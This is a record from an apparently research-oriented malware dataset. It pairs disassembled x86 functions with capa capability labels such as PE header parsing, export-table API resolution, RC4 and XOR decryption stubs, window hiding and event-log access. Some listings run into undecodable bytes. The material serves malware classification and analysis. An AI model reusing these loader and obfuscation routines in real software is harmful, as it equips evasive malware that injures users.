joyce8/EMBER2024-capa huggingface dataset:
Function at 0x102521ff
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push esi
sub esp, 0x50
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
xor edx, edx
mov dword [0x1025bdc8], 0x1938
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x30], edx
jmp 0x102522c4
mov eax, dword [ebp - 0x34]
mov ecx, esp
mov dword [ecx + 0xc], 0x40
mov dword [ecx + 8], 0x1000
mov dword [ecx + 4], 0x6000
mov dword [ecx], 0
call eax
sub esp, 0x10
mov dword [esp], eax
mov ecx, dword [ebp - 0x28]
mov dword [esp + 4], ecx
mov dword [ebp - 0x38], eax
call fcn.1025265d
xor eax, eax
mov ecx, dword [ebp - 0x38]
mov word [ecx], 0x5a4d
mov dword [ecx + 0x3c], 0xd0
mov dword [ecx + 0xd0], 0x4550
mov dword [0x1025bdc8], 0x2cd
add ecx, 0xffc00000
mov edx, dword [ebp - 0x2c]
mov dword [edx + 0x44], ecx
mov dword [0x1025bdcc], 0x2226
mov ecx, dword [ebp - 0x38]
mov dword [edx + 0x54], ecx
add ecx, 0x2206
mov esi, dword [ebp - 0x38]
cmp esi, 0
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x40], eax
je 0x102522bb
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
add esp, 0x50
pop esi
pop ebp
ret
mov eax, dword [ebp - 0x30]
mov ecx, eax
add ecx, 1
mov dl, byte [eax + 0x102542ae]
mov dh, byte [eax + 0x1025427f]
sub dh, dl
mov byte [ebp + eax - 0x24], dh
cmp ecx, 0xe
mov dword [ebp - 0x30], ecx
jne 0x102522c4
lea eax, [ebp - 0x24]
mov dword [0x1025bdcc], 0x14f9
mov dword [ebp - 0x44], eax
call fcn.10252079
mov dword [esp], eax
mov eax, dword [ebp - 0x44]
mov dword [esp + 4], eax
call fcn.10251be5
mov ecx, dword [0x1025bdc8]
add ecx, 0xfffffb5f
mov dword [0x1025bdcc], ecx
cmp eax, 0
mov dword [ebp - 0x34], eax
jne 0x10252226
xor eax, eax
add esp, 0x50
pop esi
pop ebp
ret
Function at 0x10252345
Capabilities:
Get number of processors

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov dword [ebp - 4], 0
mov eax, dword fs:[0x30]
mov dword [ebp - 4], eax
xor ecx, ecx
mov edx, dword [ebp - 4]
mov edx, dword [edx + 0x10]
mov edx, dword [edx + 0x3c]
mov dword [0x1025bdc8], 0x512
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], edx
mov dword [ebp - 0x10], ecx
jmp 0x1025239b
mov eax, dword [ebp - 0x14]
add esp, 0x20
pop ebp
ret
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x18]
cmp word [eax + ecx*2 - 0x14], 0x64
je 0x10252426
jmp 0x10252456
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xc]
cmp word [ecx + eax*2], 0
mov edx, eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x20], edx
je 0x102523ef
jmp 0x102523d8
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x18]
cmp word [eax + ecx*2 - 0x10], 0x6c
je 0x1025243b
jmp 0x10252456
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x18]
cmp word [eax + ecx*2 - 0x16], 0x61
je 0x10252383
jmp 0x10252456
mov eax, dword [ebp - 0x1c]
add eax, 1
cmp eax, 0x104
mov ecx, eax
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x20], eax
jl 0x1025239b
mov eax, dword [ebp - 0x20]
mov dword [0x1025bdcc], 0x11c4
mov ecx, dword [ebp - 0xc]
cmp word [ecx + eax*2 - 0x1a], 0x6c
mov dword [ebp - 0x18], eax
jne 0x10252456
mov dword [0x1025bdcc], 0x2624
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x18]
cmp word [eax + ecx*2 - 0x18], 0x6f
je 0x102523c7
jmp 0x10252456
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x18]
cmp word [eax + ecx*2 - 0x12], 0x64
je 0x102523b3
jmp 0x10252456
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x18]
cmp word [ecx + edx*2 - 0xe], 0x6c
mov dword [ebp - 0x14], eax
je 0x1025237b
xor eax, eax
mov dword [0x1025bdcc], 0x1864
mov dword [ebp - 0x14], eax
jmp 0x1025237b
Function at 0x1025246a
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x48
mov eax, dword [ebp + 8]
mov ecx, dword [0x1025bdcc]
add ecx, 0x77c
mov dword [0x1025bdcc], ecx
mov dword [ebp - 0x10], eax
call fcn.10252de8
xor ecx, ecx
mov edx, eax
mov esi, dword [eax + 0x3c]
mov dword [0x1025bdcc], 0x10e8
mov edi, dword [0x1025bdc8]
add edi, 0xfffffe9f
mov dword [0x1025bdcc], edi
mov esi, dword [eax + esi + 0x78]
mov dword [0x1025bdc8], 0x171d
mov ebx, edx
add ebx, dword [eax + esi + 0x20]
mov eax, dword [eax + esi + 0x18]
cmp eax, 0
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x28], ecx
je 0x102525ee
jmp 0x10252525
mov al, byte [ebp - 0x29]
test al, 1
jne 0x102525cb
jmp 0x1025259b
mov eax, dword [ebp - 0x30]
mov ecx, eax
mov edx, dword [ebp - 0x34]
add ecx, edx
mov esi, dword [ebp - 0x1c]
mov bl, byte [esi + ecx]
mov ecx, dword [ebp - 0x10]
mov bh, byte [ecx + eax]
cmp bl, bh
sete cl
cmp bl, 0
mov dword [ebp - 0x38], eax
mov byte [ebp - 0x39], bh
mov byte [ebp - 0x29], cl
je 0x102524ea
jmp 0x10252569
xor eax, eax
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x24]
add ecx, dword [ecx + edx + 0x24]
mov esi, dword [ebp - 0x20]
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x48], esi
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
mov edx, dword [ebp - 0x40]
xor esi, esi
add eax, 0x77c
mov edi, dword [ebp - 0x14]
mov ebx, dword [edi + ecx*4]
mov dword [0x1025bdcc], eax
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x50], edx
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x30], esi
jmp 0x102524fa
mov al, byte [ebp - 0x39]
cmp al, 0
setne cl
mov edx, dword [ebp - 0x38]
add edx, 1
mov ah, byte [ebp - 0x29]
and ah, cl
cmp edx, 0x20
setb cl
and ah, cl
test ah, 1
mov dword [ebp - 0x30], edx
jne 0x102524fa
jmp 0x102524ea
xor eax, eax
mov ecx, dword [ebp - 0x50]
add ecx, 2
mov edx, dword [ebp - 0x4c]
add edx, 1
mov esi, dword [ebp - 0x18]
cmp edx, esi
mov edi, dword [ebp - 0x54]
mov dword [ebp - 0x48], edi
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x44], edx
mov dword [ebp - 0x28], eax
jb 0x1025253d
jmp 0x102525ee
mov eax, dword [ebp - 0x50]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x24]
add edx, dword [edx + esi + 0x1c]
mov dword [0x1025bdc8], 0xfffff748
mov edi, dword [ebp - 0x1c]
add edi, dword [edx + ecx*4]
mov dword [ebp - 0x28], edi
mov eax, dword [ebp - 0x28]
add esp, 0x48
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x10252bd9
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x24
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
xor esi, esi
mov dword [0x1025bdd4], 0
mov byte [0x1025bdd8], 0
mov dword [0x1025bdd0], 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], esi
jmp 0x10252c3f
mov eax, dword [0x1025bdc8]
mov ecx, dword [ebp - 0x20]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], ecx
jmp 0x10252c71
mov eax, 0x1fdd
xor ecx, ecx
mov dword [0x1025bdd0], 0
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], ecx
jmp 0x10252c71
mov eax, dword [ebp - 0x1c]
mov ecx, eax
mov dl, cl
mov ecx, dword [ebp - 0x18]
mov byte [ecx + eax], dl
mov dword [0x1025bdc8], 0x1fdd
mov eax, dword [0x1025bdd0]
add eax, 1
mov dword [0x1025bdd0], eax
cmp eax, 0x100
mov dword [ebp - 0x1c], eax
jl 0x10252c3f
jmp 0x10252c26
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov edx, 0x100
mov dword [0x1025bddc], 0
mov dword [ebp - 0x2c], eax
xor esi, esi
mov dword [ebp - 0x30], edx
mov edx, esi
mov esi, dword [ebp - 0x10]
div esi
add ecx, 0xfffff6b9
mov edi, dword [0x1025bdd4]
mov ebx, dword [ebp - 0x18]
mov esi, dword [ebp - 0x2c]
movzx esi, byte [ebx + esi]
add esi, edi
mov edi, dword [ebp - 0x14]
movzx edx, byte [edi + edx]
add esi, edx
mov dword [0x1025bddc], esi
mov dword [0x1025bdcc], 0x1dfc
mov eax, esi
cdq
mov esi, dword [ebp - 0x30]
idiv esi
mov dword [0x1025bdd4], edx
mov dword [0x1025bdc8], ecx
mov ecx, dword [ebp - 0x2c]
mov cl, byte [ebx + ecx]
mov byte [0x1025bdd8], cl
mov dword [0x1025bdcc], 0xe30
mov cl, byte [ebx + edx]
mov edx, dword [ebp - 0x2c]
mov byte [ebx + edx], cl
mov ecx, dword [0x1025bdcc]
add ecx, 0xfffffd81
mov dword [0x1025bdc8], ecx
mov cl, byte [0x1025bdd8]
mov edx, dword [0x1025bdd4]
mov byte [ebx + edx], cl
mov edx, dword [0x1025bdd0]
add edx, 1
mov dword [0x1025bdd0], edx
cmp edx, 0x100
mov dword [ebp - 0x20], edx
jl 0x10252c16
add esp, 0x24
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x10252f71
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x2c
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
xor edi, edi
mov dword [0x1025bdd0], 0
mov dword [0x1025bdd4], 0
mov dword [0x1025bde0], 0
cmp eax, 0
mov ebx, edi
mov dword [ebp - 0x10], eax
mov eax, edi
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x28], edi
je 0x102530d0
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x24]
mov esi, 0x100
add edx, 1
mov edi, ecx
add edi, 1
mov dword [0x1025bdc8], 0x1e8a
mov dword [ebp - 0x2c], eax
mov eax, edx
cdq
idiv esi
mov dword [0x1025bdd0], edx
mov ebx, dword [ebp - 0x20]
movzx ebx, byte [ebx + edx]
mov dword [ebp - 0x30], ecx
mov ecx, dword [ebp - 0x2c]
add ebx, ecx
mov eax, ebx
mov dword [ebp - 0x34], edx
cdq
idiv esi
mov dword [0x1025bdd4], edx
mov dword [0x1025bdc8], 0x40c5
mov ecx, dword [ebp - 0x20]
mov esi, dword [ebp - 0x34]
mov cl, byte [ecx + esi]
mov byte [0x1025bdd8], cl
mov dword [0x1025bdcc], 0x471
mov ebx, dword [ebp - 0x20]
mov cl, byte [ebx + edx]
mov byte [ebx + esi], cl
mov cl, byte [0x1025bdd8]
mov edx, dword [0x1025bdd4]
mov byte [ebx + edx], cl
mov edx, dword [0x1025bdd0]
movzx edx, byte [ebx + edx]
mov ecx, dword [0x1025bdd4]
movzx ecx, byte [ebx + ecx]
add ecx, edx
and ecx, 0xff
mov dword [0x1025bde0], ecx
mov dword [0x1025bdc8], 0x1cd9
mov cl, byte [ebx + ecx]
mov edx, dword [ebp - 0x18]
mov esi, dword [ebp - 0x30]
mov ch, byte [edx + esi]
mov dword [0x1025bdcc], 0xbad
mov dword [0x1025bdc8], 0x1439
xor ch, cl
mov edx, dword [ebp - 0x1c]
mov byte [edx + esi], ch
mov edx, dword [ebp - 0x10]
cmp edi, edx
mov dword [ebp - 0x38], edi
je 0x102530d0
mov eax, dword [0x1025bdd4]
mov ecx, dword [0x1025bdd0]
mov edx, dword [ebp - 0x38]
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], eax
jmp 0x10252fca
add esp, 0x2c
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x102530d8
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x90
lea eax, [esp + 0x80]
lea ecx, [esp + 0x20]
mov dword [0x1025bdc8], 0x20bf
mov dword [esp], eax
mov dword [esp + 0x1c], ecx
call fcn.10252762
lea ecx, [0x10252a8d]
mov edx, dword [esp + 0x80]
mov dword [esp + 0x30], edx
mov dword [esp + 0x20], 0x14b800
mov edx, dword [0x1025bdb4]
mov dword [esp + 0x38], edx
mov edx, dword [0x1025bdb8]
mov dword [esp + 0x40], edx
mov edx, dword [0x1025bdbc]
mov dword [esp + 0x58], edx
mov edx, dword [0x1025bdc0]
mov dword [esp + 0x5c], edx
mov edx, dword [0x1025bdc4]
mov dword [esp + 0x6c], edx
mov dword [0x1025bdc8], 0x212d
mov dword [esp + 0x18], eax
mov dword [esp + 0x14], ecx
jmp 0x102531d5
lea eax, [esp + 0x20]
mov ecx, dword [esp + 0x88]
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.102521ff
mov ecx, esp
lea edx, [esp + 0x20]
mov dword [ecx], edx
call eax
sub esp, 4
mov eax, 2
mov dword [0x1025bdc8], 0x1ed4
mov dword [esp + 0x10], eax
jmp 0x102531cd
mov eax, dword [esp + 0xc]
mov dword [esp + 0x2c], eax
mov dword [0x1025bdcc], 0x1fcc
mov ecx, dword [esp + 8]
mov edx, dword [eax + ecx + 0x50]
mov dword [esp + 0x7c], edx
call fcn.10252345
xor ecx, ecx
cmp eax, 0
mov dword [esp + 0x10], ecx
je 0x10253164
mov eax, dword [esp + 0x10]
mov esp, ebp
pop ebp
ret
mov eax, dword [esp + 0x14]
cmp word [eax], 0x5a4d
mov dword [esp + 0xc], eax
jne 0x102531f8
mov eax, dword [esp + 0xc]
mov ecx, dword [eax + 0x3c]
cmp dword [eax + ecx], 0x4550
mov dword [esp + 8], ecx
je 0x1025319d
mov eax, dword [esp + 0xc]
add eax, 0xfffff000
and eax, 0xfffff000
mov dword [esp + 0x14], eax
jmp 0x102531d5

Function at 0x4018cf
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffb0
mov eax, ebp
add eax, 0xffffffb4
mov edi, eax
push edi
xor ecx, ecx
mov cl, 0x30
mov dword [edi], ecx
sub cl, 0x25
xor eax, eax
inc edi
inc edi
inc edi
inc edi
mov dword [edi], eax
dec ecx
jne 0x4018e8
mov eax, 0x400000
mov dword [0x404850], eax
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x44], 0x401778
mov dword [ebp - 0x24], str.grita
call dword [sym.imp.USER32.dll_RegisterClassExW]
xor eax, eax
push eax
push dword [0x404850]
push eax
push eax
push 0x1a4
push 0x2a8
push 0xfffff9c0
push 0xfffff63c
push 0
push str.kovice
push str.grita
push eax
call dword [sym.imp.USER32.dll_CreateWindowExW]
mov dword [0x404858], eax
push eax
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
call dword [sym.imp.USER32.dll_UpdateWindow]
xor eax, eax
push eax
push eax
push eax
lea edx, [ebp - 0x1c]
push edx
call dword [sym.imp.USER32.dll_GetMessageW]
test eax, eax
je 0x401997
mov esi, dword [sym.imp.USER32.dll_TranslateMessage]
mov edi, dword [sym.imp.USER32.dll_DispatchMessageW]
lea eax, [ebp - 0x1c]
push eax
call esi
lea ecx, [ebp - 0x1c]
push ecx
call edi
xor eax, eax
push eax
push eax
push eax
lea edx, [ebp - 0x1c]
push edx
call dword [sym.imp.USER32.dll_GetMessageW]
test eax, eax
jne 0x401978
mov esp, ebp
pop ebp
ret 0x10
Function at 0x4010de
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x426004]
jne 0x4010e8
repz ret
jmp fcn.004013c2

Function at 0x405e5b
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x426004]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00402b03
and dword [ebp - 0x14], 0
cmp dword [0x4289d4], 0
mov dword [ebp - 0x18], eax
jne 0x405f0e
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x405fb6
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x405fb6
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x4289d4], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x4289d8], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x4289dc], eax
call edi
push eax
call esi
mov dword [0x4289e4], eax
test eax, eax
je 0x405f0e
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x4289e0], eax
mov eax, dword [0x4289e0]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x405f67
cmp dword [0x4289e4], ecx
je 0x405f67
push eax
call esi
push dword [0x4289e4]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x405f67
test ebx, ebx
je 0x405f67
call edi
test eax, eax
je 0x405f5e
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x405f5e
test byte [ebp - 8], 1
jne 0x405f67
or dword [ebp + 0x10], 0x200000
jmp 0x405f9a
mov eax, dword [0x4289d8]
cmp eax, dword [ebp - 0x18]
je 0x405f9a
push eax
call esi
test eax, eax
je 0x405f9a
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x405f9a
mov eax, dword [0x4289dc]
cmp eax, dword [ebp - 0x18]
je 0x405f9a
push eax
call esi
test eax, eax
je 0x405f9a
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x4289d4]
call esi
test eax, eax
je 0x405fb6
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x405fb8
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004010de
leave
ret
Function at 0x41be70
Capabilities:
Get geographical location

Disassembly:
sub esp, 0x808
mov eax, dword [0x426004]
xor eax, esp
mov dword [esp + 0x804], eax
mov eax, dword [esp + 0x80c]
push esi
xor esi, esi
mov dword [esp + 4], eax
test edi, edi
jle 0x41bf0a
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EndUpdateResourceA]
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringW]
cmp edi, 0x2d
jne 0x41bec5
push 0
push 0
call ebx
push str.supinigelugewa
push str.gafivatagelotogomawurorakeno
push str.woxilekedebivekahefilokapunutew
push str.zalofejeworurucigakabeyew
call ebp
call fcn.0041bdc0
mov ecx, dword [esp + 0xc]
xor byte [ecx + esi], al
cmp edi, 0xf
jne 0x41bf03
push 0
lea ecx, [esp + 0x14]
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCalendarInfoW]
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesLengthA]
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
inc esi
cmp esi, edi
jl 0x41bea4
pop ebp
pop ebx
pop esi
cmp edi, 0x2d
jne 0x41bf24
mov dword [0x4296c8], 0xa62e7790
mov dword [0x4296cc], 0xffffffff
mov ecx, dword [esp + 0x804]
xor ecx, esp
call fcn.004010de
add esp, 0x808
ret
Function at 0x41c340
Capabilities:
Access the windows event log

Disassembly:
mov eax, dword [0x4296bc]
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_OpenWaitableTimerA]
push edi
mov ebx, 0x1519a5
mov edi, 0x8e46a7b8
jmp 0x41c360
mov dword [0x429324], edi
cmp eax, 0x3dc
jne 0x41c37d
push str.Vudosaticonon
push 0
push 0
call esi
mov eax, dword [0x4296bc]
dec ebx
jne 0x41c360
mov edi, dword [sym.imp.ADVAPI32.dll_OpenEventLogW]
xor esi, esi
or ebx, 0xffffffff
jmp 0x41c390
cmp eax, 0x997
jne 0x41c3a2
push 0
push 0
call edi
mov eax, dword [0x4296bc]
cmp esi, 0x845f8b
jne 0x41c3b9
mov eax, dword [0x427950]
add eax, 0xa231
mov dword [0x4296bc], eax
cmp eax, 0x141
jne 0x41c3d0
mov dword [0x428ef8], 0xec58acac
mov dword [0x428efc], ebx
inc esi
cmp esi, 0x12cca12
jl 0x41c390
call fcn.0041bf80
pop edi
pop esi
xor eax, eax
pop ebx
ret 0x10
Function at 0x4031fd
Capabilities:
Encode data using xor

Disassembly:
pop esi
push esi
xor dword [esi], ebx
lodsd eax, dword [esi]
add ebx, eax
test eax, eax
jne 0x4031ff
ret

Function at 0x405e50
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp - 0x42]
push esi
test ebx, ebx
push edi
jge 0x405e74
mov ebx, 0x6101
cmp word [eax], 0
or al, 8
cmp word [eax + 2], 0
je 0x405e79
inc ebx
add dword [0x2bedeb9c], 0x2d
or al, 0x83
rol byte [edx], 0xd1
clc
sub ebp, dword [0x2c0830c]
sar eax, 1
inc edi
inc ebp
adc byte [ebp + 0x49d04], cl
add byte [eax], al
push eax
cmc
add byte [eax - 0xb], dl
adc eax, 0x2040c15c
mov edi, eax
mov eax, dword [ebp + 0x52]
lea esi, [eax + eax*2 + 1]
push esi
xor dword [ebp - 4], esi
call dword [esi + sym.imp.MSVCRT.dll_malloc]
add esp, 8
lea ecx, [ebp + 0x3a]
std
lodsd eax, dword [esi]
lea edx, [ebp + 0x10]
push ecx
push edx
mov eax, dword [ebp + 0xc]
rcl dword [eax - 0x18], cl
xor al, 0x7d
inc edx
add byte [ebx + 0x78bfc55], cl
sub esi, edx
rcl dword [eax - 1], 0x8b
loope 0x405e8a
inc eax
add byte [ecx + 1], al
les eax, [eax]
add byte [ebp + 0x49], dh
or byte [ebx], bh
invalid

Function at 0x503b67
Capabilities:
Accept command line arguments
Hide graphical window

Disassembly:
mov ecx, ebp
push ebp
mov ebp, esp
mov dword [0x505076], ecx
call dword [sym.imp.KERNEL32.DLL_GetCommandLineA]
mov dword [0x505298], eax
mov dword [0x505220], 0x5032dd
mov dword [0x50521c], 2
jmp 0x503b97
mov dword [0x505224], 0
mov dword [0x505228], 0
mov dword [0x505218], 0x30
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
mov dword [0x50522c], eax
mov dword [0x505240], 0x504088
mov dword [0x505238], 0xf
mov dword [0x50506e], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadIconA]
mov dword [0x505230], eax
mov dword [0x505244], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadCursorA]
mov dword [0x505234], eax
push 0x505218
call dword [sym.imp.user32.dll_RegisterClassExA]
push 0
push dword [0x50506e]
push 0
push 0
push 0x1e5
push 0x21e
push 0xffffe52a
push 0xfffff588
push 0x40000
push str.wait
push str.aroka
push 0
call dword [sym.imp.user32.dll_CreateWindowExA]
mov dword [0x505290], eax
push 5
push dword [0x505290]
call dword [sym.imp.user32.dll_ShowWindow]
push dword [0x505290]
call dword [sym.imp.user32.dll_UpdateWindow]
jmp 0x503c6a
push 0
push 0
push 0
push 0x505248
call dword [sym.imp.user32.dll_GetMessageA]
or eax, eax
je 0x503c97
push 0x505248
call dword [sym.imp.user32.dll_TranslateMessage]
push 0x505248
call dword [sym.imp.user32.dll_DispatchMessageA]
jmp 0x503c6a
mov eax, dword [0x505250]
jmp 0x503ca4
call 0x502b16
ret
Function at 0x8e13b4
Capabilities:
Encode data using xor

Disassembly:
pushal
call 0x8e13ba
pop ebp
sub ebp, 6
sub ebp, 0x4e13b4
jmp 0x8e1418
jmp 0x8e1421
mov eax, 0x4e13b4
add eax, ebp
add eax, 0x93
mov ecx, 0x63d
mov edx, 0xbcea3f33
xor byte [eax], dl
inc eax
dec ecx
jne 0x8e1438
jmp 0x8e144b
pop ecx
jae 0x8e14a9
xor esp, dword [ebx]
xor esi, dword [ebx]
pop ebx
xor edi, edi
pop ds
xor esi, dword [edx + 0x59f85fc3]
sal dword [edx + 0x59f85fc3], cl
rol dword [eax], cl
arpl sp, cx
cmpsb byte [esi], byte es:[edi]
punpckldq mm6, dword [edi + 0x33]
arpl word [eax + 0xfbab8fe], di
xor esi, dword [ebx]
xor esi, dword [edx + 0x3333cbf2]
xor esi, dword [eax]
dec byte [ebx + 0x33333335]
mov dword [ebx], ebx
xor esi, dword [ebx]
xor eax, esp
sal dword [eax], 1
sti
mov eax, 0x33333fb2
xor esi, dword [eax]
mul byte [ebx + 0x5b]
or cl, byte [edx]
cmp dh, byte [ebx]
pop ebx
dec ecx
jmp 0x1fc04817
xor esi, dword [ebx]
ficomp dword [ebx]
xor esi, dword [ebx]
xor esp, dword [esi + 0x67]
outsb dx, byte [esi]
mov eax, 0x33333bb6
xor edi, dword [eax + 0x33333fa6]
xor edi, dword [eax + 0x333323be]
xor esi, edx
fidiv dword [ecx]
add dh, byte [ecx]
mov al, 0xf1
aaa
jp 0x8e150b
mov dh, 0xc7
int3
mov dl, 0xc2
cld
popfd
mov cs, eax
mov dl, 0xc2
cld
popfd
mov cs, eax
add dl, bh
add cl, ah
mov al, 0xdb
jnp 0x8e155c
mov bh, 0x7d
xor esi, dword [ebx]
xor edi, dword [ebx + edi*4]
jnp 0x8e155c
xor esi, dword [ebx]
push ebp
mov eax, 0xc8b30a2f
fstp xword [edi + esi*4]
sub dword [ebx], esi
xor esi, dword [ebx]
mov bl, 0xc8
fidivr dword [edi + esi*4]
and dh, byte [ebx]
xor esi, dword [ebx]
push ebp
mov dl, 0xc8
int3
fimul dword [esi + 0x1acccccc]
or dh, byte [bx + di]
mov al, 0xf2
xor eax, 0xb037d9b0
invalid